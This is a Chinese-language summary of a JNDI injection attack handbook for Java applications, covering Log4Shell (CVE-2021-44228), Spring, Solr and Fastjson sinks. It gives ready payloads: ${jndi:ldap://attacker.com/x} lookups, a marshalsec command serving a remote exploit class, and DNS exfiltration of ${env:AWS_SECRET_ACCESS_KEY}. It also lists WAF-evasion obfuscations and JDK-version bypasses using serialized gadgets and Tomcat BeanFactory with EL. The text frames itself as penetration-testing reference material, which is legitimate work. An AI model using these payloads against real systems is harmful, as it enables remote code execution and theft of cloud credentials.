用途:这是一份 JNDI 注入(JNDI Injection)专家级攻击手册,用于在 Java 应用将攻击者可控的名称传入 JNDI lookup 时进行安全测试,尤其针对 Log4j2、Spring 等代码路径。资料强调 JNDI 注入与一般反序列化是不同的攻击面。
核心机制:JNDI 提供从 RMI、LDAP、DNS、CORBA 等命名/目录服务查找对象的统一 API。当 InitialContext.lookup(USER_INPUT) 接收攻击者可控 URL 时,JVM 会连接攻击者服务器并加载/执行任意代码。
主要攻击向量:RMI(rmi://attacker.com:1099/Exploit,返回指向远程类的 Reference);LDAP(ldap://attacker.com:1389/cn=Exploit,返回含 javaCodeBase、javaFactory 或序列化对象属性的条目,因限制更晚故常优先);DNS(dns://…,仅用于确认注入,不实现 RCE)。
JDK 版本限制与绕过:<8u121 时 RMI 与 LDAP 均可远程类加载;8u121–8u190 时 RMI 被禁(trustURLCodebase=false),可用 LDAP;>=8u191 两者均禁,可改用 LDAP 返回 javaSerializedData 序列化 gadget(需 classpath 存在利用链),或用 Tomcat BeanFactory + EL 表达式(javaClassName: javax.el.ELProcessor、javaFactory: org.apache.naming.factory.BeanFactory、forceString: x=eval)。
工具:marshalsec 可启动 LDAP/RMI Reference 服务器,如 java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389;JNDI-Injection-Exploit 一体化启动 RMI+LDAP 多绕过策略;Rogue JNDI 提供 RMI、LDAP、HTTP 服务器与自动生成 payload。
Log4Shell(CVE-2021-44228):Log4j2 的 Lookup 会求值 ${...},${jndi:ldap://attacker.com/x} 可触发 lookup。检测可用 ${jndi:dns://TOKEN.collab.net} 等;可经 DNS 外带 ${sys:java.version}、${env:AWS_SECRET_ACCESS_KEY}、${hostName}。WAF 绕过变体包括 ${${lower:j}ndi:...}、${${::-j}${::-n}${::-d}${::-i}:...} 等,以及跨两条日志拼接的 split-log 绕过。受影响版本为 Log4j2 2.0-beta9 至 2.14.1,2.15.0 部分修复,2.17.0 完全修复;Log4j 1.x 不受影响。
其他 JNDI sink:Spring JndiTemplate.lookup()、Apache Solr Config API 与 VelocityResponseWriter、Apache Druid 配置端点、VMware vCenter、H2 Database Console、Fastjson 的 @type + JdbcRowSetImpl.setDataSourceName()。
测试方法:先发 DNS-only 探针确认求值,再判断 JDK 版本,按版本选择直接类加载、序列化 gadget、BeanFactory+EL 或 ysoserial JRMPListener,遇 WAF 时尝试混淆。
限制:资料未提供具体授权范围、目标环境适配、成功率或法律合规说明;所有技术仅应于合法授权测试中使用。